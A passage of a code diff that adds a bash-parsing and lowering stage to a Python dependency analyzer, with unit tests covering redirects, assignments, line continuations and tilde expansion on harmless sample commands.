== ">" and descriptor_raw in {b"", b"1"}: + kind = _RedirectKind.STDOUT_TRUNCATE + elif operator == ">|" and descriptor_raw in {b"", b"1"}: + kind = _RedirectKind.STDOUT_CLOBBER + elif operator == ">>" and descriptor_raw in {b"", b"1"}: + kind = _RedirectKind.STDOUT_APPEND + elif operator == "&>" and not descriptor_raw: + kind = _RedirectKind.STDOUT_STDERR_TRUNCATE + raw_operator = next( + ( + child.type + for child in node.children + if not child.is_named and child.type not in {"\n"} + ), + "", + ) + unsupported = kind is None and ( + raw_operator in {"&>>", ">&", "<&"} + or descriptor is not None + or operator in _SUPPORTED_REDIRECT_OPERATORS + ) + if unsupported: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + return None, extras, False + if kind is None: + return None, extras, True + if not allow_fact: + return None, extras, False + target = self._argument(groups[0]) + if target is None: + return None, extras, False + span = self._node_span(node) + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(node.start_byte)) + return None, extras, False + if not self._reserve(1, span=span): + return None, extras, False + return _RedirectFact(kind, target, span), extras, True + + def _functions(self) -> tuple[_FunctionContext, ...]: + functions: list[_FunctionContext] = [] + for draft in self.function_drafts: + name_node = draft.node.child_by_field_name("name") + if name_node is None: + continue + group = _NodeGroup( + (name_node,), + name_node.start_byte, + name_node.end_byte, + self.raw[name_node.start_byte : name_node.end_byte], + ) + argument = self._argument(group) + if argument is None: + if self.halted: + break + continue + if not self._reserve(1, span=argument.span): + break + functions.append( + _FunctionContext( + draft.function_id, + argument.value, + argument.span, + argument.fragments, + draft.parent_function_id, + ) + ) + return tuple(functions) + + def lower(self) -> _ShellProgramIR: + if self.halted: + return _ShellProgramIR(regions=tuple(self.regions)) + sorted_command_drafts = sorted(self.command_drafts, key=lambda item: item.node.start_byte) + mutable_commands_by_depth: dict[int, list[_CommandDraft]] = {} + for command in sorted_command_drafts: + mutable_commands_by_depth.setdefault(command.substitution_depth, []).append(command) + commands_by_depth = { + depth: tuple(commands) for depth, commands in mutable_commands_by_depth.items() + } + starts_by_depth = { + depth: tuple(command.node.start_byte for command in commands) + for depth, commands in commands_by_depth.items() + } + redirects_by_command: dict[int, list[_RedirectDraft]] = {} + for redirect in self.redirect_drafts: + command_start = self._redirect_command_start( + redirect, + commands_by_depth, + starts_by_depth, + ) + if command_start is None: + owner = ( + self.redirect_owners.get(redirect.statement_start_byte) + if redirect.statement_start_byte is not None + else None + ) + if owner is not None and owner.body_type in _COMPOUND_REDIRECT_BODIES: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(redirect.node) + or self._point_span(redirect.node.start_byte), + ) + continue + redirects_by_command.setdefault(command_start, []).append(redirect) + + wrapper_arguments_by_command: dict[int, list[_NodeGroup]] = {} + for wrapper in self.wrapper_argument_drafts: + owner = self.redirect_owners.get(wrapper.statement_start_byte) + if owner is None: + continue + command_start = self._redirect_owner_command_start( + owner, + commands_by_depth, + starts_by_depth, + ) + if command_start is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._point_span(owner.body_start_byte), + ) + continue + wrapper_arguments_by_command.setdefault(command_start, []).extend( + self._group_nodes(list(wrapper.nodes)) + ) + + assignments: list[_AssignmentIR] = [] + assignment_keys: set[tuple[int, int]] = set() + prefix_sites_by_command: dict[int, list[AssignmentSite]] = {} + grouped_declaration_starts = { + draft.node.start_byte + for draft in sorted_command_drafts + if draft.node.type == "declaration_command" + and draft.node.children + and self.raw[draft.node.children[0].start_byte : draft.node.children[0].end_byte] + in _DECLARATION_KEYWORD_BYTES + } + for order, draft in enumerate( + sorted(self.assignment_drafts, key=lambda item: item.node.start_byte) + ): + if ( + draft.prefix_for_command_start_byte is not None + or draft.declaration_command_start_byte in grouped_declaration_starts + ): + continue + assignment = self._assignment_from_node(draft, order=order) + if assignment is not None: + assignments.append(assignment) + assignment_keys.add((draft.node.start_byte, draft.node.end_byte)) + if assignment.prefix_for_command_start_byte is not None: + prefix_sites_by_command.setdefault( + assignment.prefix_for_command_start_byte, [] + ).append(assignment.site) + if self.halted: + break + + commands: list[_CommandIR] = [] + for command_draft in sorted_command_drafts: + if self.halted: + break + groups = self._command_groups(command_draft.node) + if not groups: + continue + prefix_groups: list[_NodeGroup] = [] + if command_draft.node.type == "command": + while groups and self._group_assignment_name(groups[0]) is not None: + prefix_groups.append(groups.pop(0)) + for group in prefix_groups: + assignment = self._assignment_from_group( + group, + order=len(assignments), + region_id=command_draft.region_id, + function_id=command_draft.function_id, + prefix_for_command_start_byte=command_draft.node.start_byte, + ) + if assignment is not None: + assignments.append(assignment) + prefix_sites_by_command.setdefault(command_draft.node.start_byte, []).append( + assignment.site + ) + if self.halted: + break + if self.halted or not groups: + continue + + timed = ( + command_draft.node.type == "command" + and groups[0].raw_syntax == b"time" + and len(groups[0].nodes) == 1 + ) + if timed: + groups.pop(0) + if groups and groups[0].raw_syntax == b"-p" and len(groups[0].nodes) == 1: + groups.pop(0) + if not groups: + continue + + name_group = groups.pop(0) + name_argument = self._argument(name_group) + if name_argument is None: + continue + arguments: list[_ArgumentIR] = [name_argument] + for group in groups: + argument = self._argument(group) + if argument is not None: + arguments.append(argument) + if self.halted: + break + if self.halted: + break + + for group in wrapper_arguments_by_command.get(command_draft.node.start_byte, ()): + argument = self._argument(group) + if argument is not None: + arguments.append(argument) + if self.halted: + break + if self.halted: + break + + facts: list[_RedirectFact] = [] + span_start = name_group.start_byte if timed else command_draft.node.start_byte + span_end = max(argument.local_end_byte for argument in arguments) + command_redirects = sorted( + redirects_by_command.get(command_draft.node.start_byte, ()), + key=lambda item: item.node.start_byte, + ) + redirect_chain = ( + len(command_redirects) + command_draft.non_file_redirect_count > 1 + ) or any( + ( + redirect.statement_start_byte is not None + and (owner := self.redirect_owners.get(redirect.statement_start_byte)) + is not None + and owner.redirect_count > 1 + ) + for redirect in command_redirects + ) + if redirect_chain: + chain_span = ( + self._span( + command_redirects[0].node.start_byte, + command_redirects[-1].node.end_byte, + ) + if command_redirects + else self._node_span(command_draft.node) + ) + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + chain_span or self._point_span(command_draft.node.start_byte), + ) + for redirect in command_redirects: + owner = ( + self.redirect_owners.get(redirect.statement_start_byte) + if redirect.statement_start_byte is not None + else None + ) + allow_fact = not redirect_chain and not ( + command_draft.node.start_byte in self.syntax_error_command_starts + or ( + owner is not None + and ( + owner.has_error_child + or owner.statement_start_byte in self.syntax_error_redirect_starts + ) + ) + ) + fact, extras, _supported = self._redirect_parts( + redirect, + allow_fact=allow_fact, + ) + if fact is not None: + facts.append(fact) + arguments.extend(extras) + span_start = min(span_start, redirect.node.start_byte) + span_end = max(span_end, redirect.node.end_byte) + if self.halted: + break + if self.halted: + break + command_span = self._span(span_start, span_end) + if command_span is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._point_span(span_start), + ) + continue + ordered_arguments = [ + arguments[0], + *sorted(arguments[1:], key=lambda item: item.local_start_byte), + ] + if not self._reserve(2, span=command_span): + break + site = CommandSite( + unit_id=self.unit.unit_id, + provenance=self.unit.provenance, + span=command_span, + argv=tuple(argument.value for argument in ordered_arguments), + ) + prefix_sites = tuple(prefix_sites_by_command.get(command_draft.node.start_byte, ())) + commands.append( + _CommandIR( + site, + len(commands), + command_draft.region_id, + command_draft.function_id, + tuple(ordered_arguments), + prefix_sites, + tuple(facts), + ) + ) + + if ( + site.argv[0].state is StaticValueState.EXACT + and site.argv[0].exact_bytes in _DECLARATION_KEYWORD_BYTES + ): + for group in groups: + key = (group.start_byte, group.end_byte) + if key in assignment_keys: + continue + assignment = self._assignment_from_group( + group, + order=len(assignments), + region_id=command_draft.region_id, + function_id=command_draft.function_id, + prefix_for_command_start_byte=None, + ) + if assignment is not None: + assignments.append(assignment) + assignment_keys.add(key) + if self.halted: + break + + assignments.sort(key=lambda item: item.site.span.start_byte) + assignments = [replace(item, order=index) for index, item in enumerate(assignments)] + commands.sort(key=lambda item: item.site.span.start_byte) + commands = [replace(item, order=index) for index, item in enumerate(commands)] + return _ShellProgramIR( + regions=tuple(self.regions), + functions=self._functions() if not self.halted else (), + commands=tuple(commands), + assignments=tuple(assignments), + ) + + +def _analyze_shell_unit( + unit: ShellUnit, + *, + budget: DependencyWorkBudget, +) -> _ShellAnalysisResult: + """Private same-parse boundary retaining bounded structure for later tasks.""" + if not isinstance(unit, ShellUnit): + raise ValueError("unit must be a ShellUnit") + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") + file_budget = budget.for_file(unit.origin_span.path) + physical_size = ( + unit.source_map.physical_size_bytes + if unit.source_map is not None + else unit.origin_span.end_byte + ) + if physical_size > MAX_DEPENDENCY_FILE_BYTES: + exhaustion = DependencyWorkExhaustion( + DependencyWorkResource.PHYSICAL_BYTES, + physical_size, + MAX_DEPENDENCY_FILE_BYTES, + ) + issues: list[ShellIssue] = [] + _retain_issue( + issues, + _resource_issue(unit.origin_span, exhaustion), + file_budget=file_budget, + ) + public = ShellFrontendResult( + issues=tuple(issues), + work_items=(_shell_work_item(unit, ShellWorkOutcome.SKIPPED),), + ) + return _ShellAnalysisResult(public, _ShellProgramIR()) + file_budget.register_shell_file_size(physical_size) + if parse_exhaustion := file_budget.reserve_shell_parse(len(unit.raw_bytes)): + issues = [] + _retain_issue( + issues, + _resource_issue(unit.origin_span, parse_exhaustion), + file_budget=file_budget, + ) + public = ShellFrontendResult( + issues=tuple(issues), + work_items=(_shell_work_item(unit, ShellWorkOutcome.SKIPPED),), + ) + return _ShellAnalysisResult(public, _ShellProgramIR()) + + try: + tree = parse_bash_source(unit.raw_bytes) + except ShellParserError as error: + reason = ( + ShellIssueReason.RUNTIME_LIMIT + if error.reason is ShellParserFailureReason.RUNTIME_LIMIT + else ShellIssueReason.SHELL_PARSER_UNAVAILABLE + ) + outcome = ( + ShellWorkOutcome.PARTIAL + if error.outcome is ShellParserOutcome.PARTIAL + else ShellWorkOutcome.FAILED + ) + issues = [] + _retain_issue( + issues, + ShellIssue( + reason=reason, + outcome=outcome, + span=unit.origin_span, + unit_id=unit.unit_id, + ), + file_budget=file_budget, + ) + public = ShellFrontendResult( + issues=tuple(issues), + work_items=(_shell_work_item(unit, outcome),), + ) + return _ShellAnalysisResult(public, _ShellProgramIR()) + + lowerer = _ShellLowerer(unit, budget, file_budget) + lowerer.walk(tree.root_node) + program = lowerer.lower() + outcome = ShellWorkOutcome.PARTIAL if lowerer.partial else ShellWorkOutcome.COMPLETED + public = ShellFrontendResult( + commands=tuple(command.site for command in program.commands), + assignments=tuple(assignment.site for assignment in program.assignments), + generated_configs=(), + issues=tuple(lowerer.issues), + work_items=(_shell_work_item(unit, outcome),), + ) + return _ShellAnalysisResult(public, program) + + +def analyze_shell_unit( + unit: ShellUnit, + *, + budget: DependencyWorkBudget, +) -> ShellFrontendResult: + """Parse and lower one shell unit exactly once into bounded syntax-only sites.""" + return _analyze_shell_unit(unit, budget=budget).public diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index dcb011de..96c92866 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -36,6 +36,30 @@ def _extract( ) +def _analyze( + raw: bytes, + *, + path: str = "scripts/lower.sh", + budget: DependencyWorkBudget | None = None, +) -> tuple[Any, DependencyWorkBudget, Any]: + active_budget = budget or DependencyWorkBudget() + extraction = _extract(path, raw, budget=active_budget) + assert len(extraction.units) == 1 + unit = extraction.units[0] + return ( + shell_frontend.analyze_shell_unit(unit, budget=active_budget), + active_budget, + unit, + ) + + +def _argv_bytes(command: Any) -> tuple[bytes | None, ...]: + return tuple( + value.exact_bytes if value.state is dependency_types.StaticValueState.EXACT else None + for value in command.argv + ) + + class _ObservedExecutablePaths(frozenset[str]): """Immutable inventory that records accidental whole-set iteration.""" @@ -57,6 +81,17 @@ def __contains__(self, value: object) -> bool: return super().__contains__(value) +class _ObservedDraftList(list[Any]): + """Counts draft iteration without relying on a wall-clock threshold.""" + + iterated_items: int = 0 + + def __iter__(self) -> Iterator[Any]: + for item in super().__iter__(): + self.iterated_items += 1 + yield item + + def _gap_marks(case: dict[str, Any]) -> list[pytest.MarkDecorator]: marks = [pytest.mark.sc10_pr2] if case["status"] != "fixed" and os.getenv("SKILLSPECTOR_SC10_GAPS") != "enforce": @@ -459,3 +494,892 @@ def test_extraction_uses_large_normalized_executable_inventory_without_iteration assert inert.issues == () assert executable_paths.iteration_count == 0 assert executable_paths.membership_count == 2 + + +def test_shell_lowering_parses_once_and_returns_one_completed_work_item( + monkeypatch: pytest.MonkeyPatch, +) -> None: + raw = b"printf 'two words' plain\n" + real_parse = shell_frontend.parse_bash_source + parse_calls = 0 + + def recording_parse(source: bytes, **kwargs: Any) -> Any: + nonlocal parse_calls + parse_calls += 1 + return real_parse(source, **kwargs) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", recording_parse) + + result, _budget, unit = _analyze(raw) + + assert parse_calls == 1 + assert [_argv_bytes(command) for command in result.commands] == [ + (b"printf", b"two words", b"plain") + ] + assert result.assignments == () + assert result.generated_configs == () + assert result.issues == () + assert [(work.unit_id, work.outcome) for work in result.work_items] == [ + (unit.unit_id, dependency_types.ShellWorkOutcome.COMPLETED) + ] + + +@pytest.mark.parametrize( + ("raw", "node_type", "expected_fields"), + [ + (b"cmd\n", "program", frozenset()), + (b">out cmd arg\n", "command", frozenset({"redirect", "name", "argument"})), + (b"A=one\n", "variable_assignment", frozenset({"name", "value"})), + (b"export A=one\n", "declaration_command", frozenset()), + (b"cmd >out\n", "redirected_statement", frozenset({"body", "redirect"})), + (b"cmd 2>out\n", "file_redirect", frozenset({"descriptor", "destination"})), + (b"f() { cmd; }\n", "function_definition", frozenset({"name", "body"})), + (b"if ok; then yes; fi\n", "if_statement", frozenset({"condition"})), + ( + b"for x in a; do yes; done\n", + "for_statement", + frozenset({"variable", "value", "body"}), + ), + ( + b"while ok; do yes; done\n", + "while_statement", + frozenset({"condition", "body"}), + ), + (b"case x in a) yes;; esac\n", "case_statement", frozenset({"value"})), + ( + b"case x in a|b) first; second;; *) other;; esac\n", + "case_item", + frozenset({"value", "termination"}), + ), + (b"one | two\n", "pipeline", frozenset()), + (b"one && two\n", "list", frozenset()), + (b"! one\n", "negated_command", frozenset()), + (b"( one )\n", "subshell", frozenset()), + (b"{ one; }\n", "compound_statement", frozenset()), + (b"outer $(inner)\n", "command_substitution", frozenset()), + (b"outer <(inner)\n", "process_substitution", frozenset()), + (b"if one; then two;\n", "fi", frozenset()), + (b"good\nif broken\nlast $(\n", "ERROR", frozenset()), + ], +) +def test_pinned_bash_cst_node_and_field_contract( + raw: bytes, + node_type: str, + expected_fields: frozenset[str], +) -> None: + root = shell_frontend.parse_bash_source(raw).root_node + pending = [root] + selected = None + while pending: + node = pending.pop() + if node.type == node_type and (node_type != "fi" or node.is_missing): + selected = node + break + pending.extend(reversed(node.children)) + + assert selected is not None + fields = frozenset( + field_name + for index in range(len(selected.children)) + if (field_name := selected.field_name_for_child(index)) is not None + ) + contract_key = "MISSING" if selected.is_missing else node_type + assert shell_frontend._PINNED_CST_FIELDS[contract_key] == expected_fields + assert fields == expected_fields + + +def test_shell_lowering_visits_all_structural_regions_and_pipeline_stages() -> None: + raw = ( + b"first && second || third; fourth &\n" + b"( sub )\n" + b"{ grouped; }\n" + b"if cond; then yes; else no; fi\n" + b"for item in a; do loop; done\n" + b"while check; do body; done\n" + b'case "$x" in a) arm;; esac\n' + b"f() { inside; }\n" + b'outer "$(inner arg)" <(producer) >(consumer)\n' + b"one | two | three\n" + b"! negated\n" + ) + + result, _budget, _unit = _analyze(raw) + + assert [command.argv[0].exact_bytes for command in result.commands] == [ + b"first", + b"second", + b"third", + b"fourth", + b"sub", + b"grouped", + b"cond", + b"yes", + b"no", + b"loop", + b"check", + b"body", + b"arm", + b"inside", + b"outer", + b"inner", + b"producer", + b"consumer", + b"one", + b"two", + b"three", + b"negated", + ] + assert result.issues == () + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.COMPLETED + + +def test_cst_substitution_depth_is_bounded_by_node_budget_not_nested_literal_budget() -> None: + result, _budget, _unit = _analyze( + b"outer $(middle $(inner $(deep)))\n", + path="scripts/substitutions.sh", + ) + + assert [command.argv[0].exact_bytes for command in result.commands] == [ + b"outer", + b"middle", + b"inner", + b"deep", + ] + assert result.issues == () + + +def test_shell_lowering_emits_assignments_and_joins_only_line_continuations() -> None: + raw = b"NA\\\nME=va\\\nlue com\\\nmand ar\\\ng\nexport C=see BARE\nD=$dynamic next\n" + + result, _budget, _unit = _analyze(raw) + + assert [ + ( + assignment.name, + assignment.value.state, + assignment.value.exact_bytes, + ) + for assignment in result.assignments + ] == [ + ("NAME", dependency_types.StaticValueState.EXACT, b"value"), + ("C", dependency_types.StaticValueState.EXACT, b"see"), + ("D", dependency_types.StaticValueState.UNKNOWN, None), + ] + assert [_argv_bytes(command) for command in result.commands] == [ + (b"command", b"arg"), + (b"export", b"C=see", b"BARE"), + (b"next",), + ] + + +def test_only_structurally_bare_time_is_timing_syntax() -> None: + raw = b'time -p timed arg;\n\\time escaped;\n"time" quoted;\n/bin/time path;\n$timer dynamic\n' + + result, _budget, _unit = _analyze(raw) + + assert [_argv_bytes(command) for command in result.commands] == [ + (b"timed", b"arg"), + (b"time", b"escaped"), + (b"time", b"quoted"), + (b"/bin/time", b"path"), + (None, b"dynamic"), + ] + + +def test_redirect_destinations_do_not_hide_later_argv_and_exact_ampersand_redirect() -> None: + raw = ( + b">lead first arg\n" + b"second >middle arg\n" + b"third arg >trail\n" + b"fourth > one two three\n" + b"fifth > dest\\\nination arg\n" + b"sixth &>both arg\n" + ) + + analysis, _budget, unit = _analyze(raw) + private = shell_frontend._analyze_shell_unit(unit, budget=DependencyWorkBudget()) + + assert [_argv_bytes(command) for command in analysis.commands] == [ + (b"first", b"arg"), + (b"second", b"arg"), + (b"third", b"arg"), + (b"fourth", b"two", b"three"), + (b"fifth", b"arg"), + (b"sixth", b"arg"), + ] + assert analysis.issues == () + assert [ + fact.kind.value for command in private.program.commands for fact in command.redirects + ] == [ + "stdout_truncate", + "stdout_truncate", + "stdout_truncate", + "stdout_truncate", + "stdout_truncate", + "stdout_stderr_truncate", + ] + + +@pytest.mark.parametrize( + ("raw", "syntax_start"), + [ + (b"cmd &> | next\n", 7), + (b"cmd >out <\n", 9), + ], +) +def test_command_owned_malformed_redirect_regions_never_retain_supported_facts( + raw: bytes, + syntax_start: int, +) -> None: + budget = DependencyWorkBudget() + unit = _extract("scripts/malformed-redirect.sh", raw, budget=budget).units[0] + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + assert [command.site.argv[0].exact_bytes for command in private.program.commands] == [b"cmd"] + assert [fact for command in private.program.commands for fact in command.redirects] == [] + assert [ + (issue.reason, issue.span.start_byte, issue.span.end_byte) + for issue in private.public.issues + ] == [ + ( + dependency_types.ShellIssueReason.SYNTAX_ERROR, + syntax_start, + syntax_start + 1, + ) + ] + + +@pytest.mark.parametrize( + "malformed", + [ + b"cmd &> | next\n", + b"cmd >out <\n", + ], +) +def test_malformed_redirect_suppression_does_not_poison_unrelated_commands( + malformed: bytes, +) -> None: + raw = b"safe >ok\n" + malformed + budget = DependencyWorkBudget() + unit = _extract("scripts/local-malformed-redirect.sh", raw, budget=budget).units[0] + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + assert [command.site.argv[0].exact_bytes for command in private.program.commands] == [ + b"safe", + b"cmd", + ] + assert [ + [fact.kind.value for fact in command.redirects] for command in private.program.commands + ] == [["stdout_truncate"], []] + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.SYNTAX_ERROR + ] + + +def test_private_same_parse_ir_retains_bounded_structure_without_repr_content() -> None: + budget = DependencyWorkBudget() + unit = _extract( + "scripts/private-ir.sh", + b"f() { A=secretvalue command secretliteral >secrettarget; }\n", + budget=budget, + ).units[0] + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + assert len(private.program.functions) == 1 + function = private.program.functions[0] + command = private.program.commands[0] + assignment = private.program.assignments[0] + assert command.function_id == function.function_id + assert assignment.function_id == function.function_id + assert assignment.prefix_for_command_start_byte is not None + assert [site.name for site in command.prefix_assignments] == ["A"] + assert all(argument.fragments for argument in command.arguments) + assert [fact.kind.value for fact in command.redirects] == ["stdout_truncate"] + assert private.program.regions + rendered = repr(private) + assert "secretliteral" not in rendered + assert "secrettarget" not in rendered + assert "secretvalue" not in rendered + + +@pytest.mark.parametrize( + "raw", + [ + b"command >first >second\n", + b"command >first 2>&1\n", + b"command <>readwrite\n", + b"command <<output arg\n", + b"command >output < None: + budget = DependencyWorkBudget() + unit = _extract("scripts/redirect-chain.sh", raw, budget=budget).units[0] + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + assert [command.site.argv[0].exact_bytes for command in private.program.commands] == [ + b"command" + ] + assert [fact for command in private.program.commands for fact in command.redirects] == [] + assert private.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_heredoc_wrapper_argument_field_remains_structurally_proven_argv() -> None: + result, _budget, _unit = _analyze(b"command < None: + charges: list[int] = [] + original = dependency_types.DependencyFileBudget.charge_retained_shell_ir + + def recording_charge( + file_budget: dependency_types.DependencyFileBudget, + unit: dependency_types.ShellUnit, + count: int, + ) -> dependency_types.DependencyWorkExhaustion | None: + charges.append(count) + return original(file_budget, unit, count) + + monkeypatch.setattr( + dependency_types.DependencyFileBudget, + "charge_retained_shell_ir", + recording_charge, + ) + + budget = DependencyWorkBudget() + unit = _extract("scripts/assignment-ir.sh", b"A=value\n", budget=budget).units[0] + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + fragment_count = len(private.program.assignments[0].value_fragments) + assert fragment_count == 1 + assert 2 + fragment_count in charges + + +def test_redirect_association_does_not_rescan_full_command_inventory() -> None: + command_count = 200 + raw = b"".join(f"command{index} >target\n".encode() for index in range(command_count)) + budget = DependencyWorkBudget() + unit = _extract("scripts/many-redirects.sh", raw, budget=budget).units[0] + file_budget = budget.for_file(unit.origin_span.path) + lowerer = shell_frontend._ShellLowerer(unit, budget, file_budget) + lowerer.walk(shell_frontend.parse_bash_source(raw).root_node) + observed = _ObservedDraftList(lowerer.command_drafts) + lowerer.command_drafts = observed + + program = lowerer.lower() + + assert len(program.commands) == command_count + assert observed.iterated_items <= command_count * 3 + + +def test_unretained_issue_still_marks_terminal_work_partial() -> None: + budget = DependencyWorkBudget() + assert ( + budget.charge_shell_issues(dependency_types.MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES - 1) + is None + ) + assert ( + budget.claim_reserved_shell_truncation_issue() + is dependency_types.ShellTruncationClaimStatus.CLAIMED + ) + + result, _budget, _unit = _analyze( + b"command bad\x00value\n", + path="scripts/full-issue-budget.sh", + budget=budget, + ) + + assert result.issues == () + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_unsupported_descriptor_redirects_preserve_provable_argv() -> None: + raw = b"first &>>out arg\nsecond 2>&1 arg\nthird 1>&2 arg\nfourth <&0 arg\n" + + result, _budget, _unit = _analyze(raw) + + assert [_argv_bytes(command) for command in result.commands] == [ + (b"first", b"arg"), + (b"second", b"arg"), + (b"third", b"arg"), + (b"fourth", b"arg"), + ] + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] * 4 + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_markdown_lowering_composes_multibyte_crlf_locations() -> None: + raw = "intro\r\n```bash\r\nécho 'x;y' # hidden\r\n```\r\n".encode() + budget = DependencyWorkBudget() + extraction = _extract("docs/guide.md", raw, budget=budget) + + result = shell_frontend.analyze_shell_unit(extraction.units[0], budget=budget) + + command_start = raw.index("écho".encode()) + command_end = command_start + len("écho 'x;y'".encode()) + assert result.commands[0].span == dependency_types.SourceSpan( + "docs/guide.md", + command_start, + command_end, + 3, + 3, + start_column=0, + end_column=len("écho 'x;y'".encode()), + ) + assert _argv_bytes(result.commands[0]) == ("écho".encode(), b"x;y") + assert result.issues == () + + +def test_comments_quotes_and_non_shell_separators_never_create_raw_commands() -> None: + quoted, _budget, _unit = _analyze(b"printf 'a;#b' plain # ignored\r\n") + separated, _budget, _unit = _analyze( + b"printf first\fsecond\rthird\x00four\n", + path="scripts/separators.sh", + ) + + assert [_argv_bytes(command) for command in quoted.commands] == [(b"printf", b"a;#b", b"plain")] + assert quoted.issues == () + assert [_argv_bytes(command) for command in separated.commands] == [ + (b"printf", b"first", b"second", None) + ] + assert [issue.reason for issue in separated.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize( + "raw", + [ + b"printf ~/file\n", + b"printf file*\n", + b"printf file?\n", + b"printf file[ab]\n", + ], +) +def test_unquoted_tilde_and_pathname_expansion_arguments_are_unknown(raw: bytes) -> None: + result, _budget, _unit = _analyze(raw) + + assert result.commands[0].argv[0] == dependency_types.StaticValue.exact(b"printf") + assert result.commands[0].argv[1].state is dependency_types.StaticValueState.UNKNOWN + assert result.issues == () + + +@pytest.mark.parametrize( + "manager_name", + [ + b"~/bin/npm", + b"np*", + b"np?", + b"$manager", + b"${manager}", + b"npm-${channel}", + ], +) +def test_unquoted_dynamic_manager_name_shapes_are_unknown(manager_name: bytes) -> None: + result, _budget, _unit = _analyze(manager_name + b" install\n") + + assert result.commands[0].argv[0].state is dependency_types.StaticValueState.UNKNOWN + assert result.commands[0].argv[1] == dependency_types.StaticValue.exact(b"install") + assert result.issues == () + + +def test_unquoted_tilde_assignment_value_is_unknown() -> None: + result, _budget, _unit = _analyze(b"A=~/repo cmd\n") + + assert [(assignment.name, assignment.value.state) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValueState.UNKNOWN) + ] + assert _argv_bytes(result.commands[0]) == (b"cmd",) + assert result.issues == () + + +def test_unquoted_tilde_after_colon_in_assignment_values_is_unknown() -> None: + result, _budget, _unit = _analyze(b"A=/bin:~/bin cmd\nexport PATH=/bin:~/bin\n") + + assert [(assignment.name, assignment.value.state) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValueState.UNKNOWN), + ("PATH", dependency_types.StaticValueState.UNKNOWN), + ] + assert result.issues == () + + +@pytest.mark.parametrize( + "value", + [ + b"~/repo", + b"/bin:~/bin", + ], +) +def test_continued_assignment_tilde_expansion_is_unknown(value: bytes) -> None: + result, _budget, _unit = _analyze(b"A\\\n=" + value + b" cmd\n") + + assert [(assignment.name, assignment.value.state) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValueState.UNKNOWN) + ] + assert _argv_bytes(result.commands[0]) == (b"cmd",) + assert result.issues == () + + +@pytest.mark.parametrize( + ("raw", "expected_value"), + [ + (b"A=foo\\\nbar cmd\n", dependency_types.StaticValue.exact(b"foobar")), + (b"A=/bin:\\\n~/bin cmd\n", dependency_types.StaticValue.unknown()), + ], +) +def test_prefix_assignment_continuation_absorbs_the_following_cst_name_fragment( + raw: bytes, + expected_value: dependency_types.StaticValue, +) -> None: + result, _budget, _unit = _analyze(raw) + + assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ + ("A", expected_value) + ] + assert [_argv_bytes(command) for command in result.commands] == [(b"cmd",)] + assert result.issues == () + + +def test_export_continued_assignment_is_emitted_exactly_once() -> None: + result, _budget, _unit = _analyze(b"export A=foo\\\nbar\n") + + assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValue.exact(b"foobar")) + ] + assert [_argv_bytes(command) for command in result.commands] == [(b"export", b"A=foobar")] + assert result.issues == () + + +@pytest.mark.parametrize( + "keyword", + [b"declare", b"readonly", b"typeset", b"export"], +) +def test_declaration_continued_assignment_matches_full_argv_and_is_emitted_once( + keyword: bytes, +) -> None: + result, _budget, _unit = _analyze(keyword + b" A=foo\\\nbar\n") + + assert [_argv_bytes(command) for command in result.commands] == [(keyword, b"A=foobar")] + assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValue.exact(b"foobar")) + ] + assert result.issues == () + + +def test_local_continued_assignment_in_function_matches_full_argv_and_is_emitted_once() -> None: + result, _budget, _unit = _analyze(b"f() { local A=foo\\\nbar; }\n") + + assert [_argv_bytes(command) for command in result.commands] == [(b"local", b"A=foobar")] + assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValue.exact(b"foobar")) + ] + assert result.issues == () + + +@pytest.mark.parametrize( + ("raw", "expected_argv", "expected_assignments"), + [ + (b'printf "x"~/file\n', (b"printf", b"x~/file"), ()), + ( + b'A="x"~/repo cmd\n', + (b"cmd",), + (("A", dependency_types.StaticValue.exact(b"x~/repo")),), + ), + (b"np\\\n~/bin install\n", (b"np~/bin", b"install"), ()), + ], +) +def test_cross_fragment_tilde_outside_expansion_position_remains_exact( + raw: bytes, + expected_argv: tuple[bytes, ...], + expected_assignments: tuple[tuple[str, dependency_types.StaticValue], ...], +) -> None: + result, _budget, _unit = _analyze(raw) + + assert [_argv_bytes(command) for command in result.commands] == [expected_argv] + assert ( + tuple((assignment.name, assignment.value) for assignment in result.assignments) + == expected_assignments + ) + assert result.issues == () + + +def test_tilde_after_a_non_assignment_equals_in_the_value_remains_exact() -> None: + result, _budget, _unit = _analyze(b"A=foo=~/repo cmd\n") + + assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ + ("A", dependency_types.StaticValue.exact(b"foo=~/repo")) + ] + assert [_argv_bytes(command) for command in result.commands] == [(b"cmd",)] + assert result.issues 